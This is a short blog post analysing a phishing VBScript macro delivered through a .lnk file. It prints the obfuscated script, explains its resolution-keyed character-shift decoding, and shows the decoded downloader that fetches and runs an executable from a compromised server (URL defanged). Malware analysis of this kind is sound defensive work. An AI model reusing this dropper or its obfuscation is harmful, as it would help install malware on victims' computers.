A quick blog post about a malicious VBScript macro that I analysed… Bad guys have always plenty of ideas to obfuscate their code. The macro was delivered via a classic phishing email with an attached zip archive that contained a Windows .lnk file. The link containing a simple call to cmd.exe with by very long “echo” line to write a VBScript file on the local disk and to execute it:
cmd.exe /c echo DATA >file.txt&&wscript //E:VBScript file.txt!%SystemRoot%\system32\SHELL32.DLL
The “DATA” dumped to file.txt have been beautified to be easily readable:
Set ak=GetObject("winmgmts:\\.\root\cimv2") Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48) For Each Kj1 in Kj0 Kj2=Kj1.ScreenWidth Kj3=Kj1.ScreenHeight Next Kj5="hojiupO>mmfiTkcp!ufT;*##fyf/v##)dfyF/mmfiTkcp>dfyFkcp!ufT;*##mmfiT/uqjsdTX##)udfkcPfubfsD>mmfiTkcp!ufT;hojiupO>Jd!uft;hojiupO>gG!uft;hojiupO>7z!uft;uyfo;***2-MN-zepcftopqtfs/gG)cejn)cdtb)sid!fujsx/Jd;*zepcftopqtfs/gG)cofm!pu!2>MN!spg;eoft/gG;ftmbg-##fyf/g0tfmuju0ht/npd/zufjdptihji00;quui##-##UFH##!ofqp/gG;*##fyf/v##)fmjguyfufubfsd/7z>Jd!uft;*##2/6/utfvrfsquuiojx/quuiojx##)udfkcpfubfsd>gG!uft;*##udfkcpnfutztfmjg/hojuqjsdt##)udfkcpfubfsd>7z!uft" execute(Replace(Kj4(Kj5,CStr(int(CInt((Kj2))/CInt((Kj3))))),chr(34)+chr(34),chr(34))) Function Kj4(SP,IV) Dim s2,Op,Vz,d4,BQ:BQ="" s2=Len(IV) Op=1 Vz=Len(SP) SP=StrReverse(SP) For d4=Vz To 1 Step -1 BQ=BQ+chr(asc(Mid(SP,d4,1))-Asc(Mid(IV,Op,1))+48) Op=Op+1 If Op Then Op=1 End If Next BQ=StrReverse(BQ) Kj4=BQ End Function
As you can see, the variable Kj5 seems to be the most interesting and contains the obfuscated code. The script starts by connecting to WMI objects on the local computer (represented by the “.”):
Set ak=GetObject("winmgmts:\\.\root\cimv2")
Then it grabs the screen resolution from the Win32_DesktopMonitor object:
Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48) For Each Kj1 in Kj0 Kj2=Kj1.ScreenWidth Kj3=Kj1.ScreenHeight Next
This technique could be used as a sandbox detection (many sandboxes have a low resolution by default) but it’s not the case this time. The width and height are converted to integers and the first divided by the second which returns always “1”. You should have an uncommon resolution where height > width or an ultra-wide monitor to get other results. This value “1” is passed to the function Kj4() which deobfuscates the long string. The function reverses the string and processes characters one by one starting by the end (character value – 49 + 48 – which shifts all characters by one: ‘h’ becomes ‘g’, ‘o’ becomes ‘n’, etc. Finally, the string is reversed again and is ready to be executed:
set y6=createobject("scripting.filesystemobject") set Ff=createobject("winhttp.winhttprequest.5.1") set cI=y6.createtextfile("u.exe") Ff.open "GET","hxxp://highsociety.com.sg/titles/f.exe",false Ff.send for ML=1 to lenb(Ff.responsebody) cI.write chr(ascb(midb(Ff.responsebody,ML,1))) next set y6=Nothing set Ff=Nothing set cI=Nothing Set objShell=CreateObject("WScript.Shell") Set objExec=objShell.Exec("u.exe") Set objShell=Nothing
A classic HTTP connection is performed to drop the payload from a compromised server. Note that the macro did not work in my Windows 10 sandbox (empty values are returned instead of the screen width/height) but it worked with Windows 7.
3 comments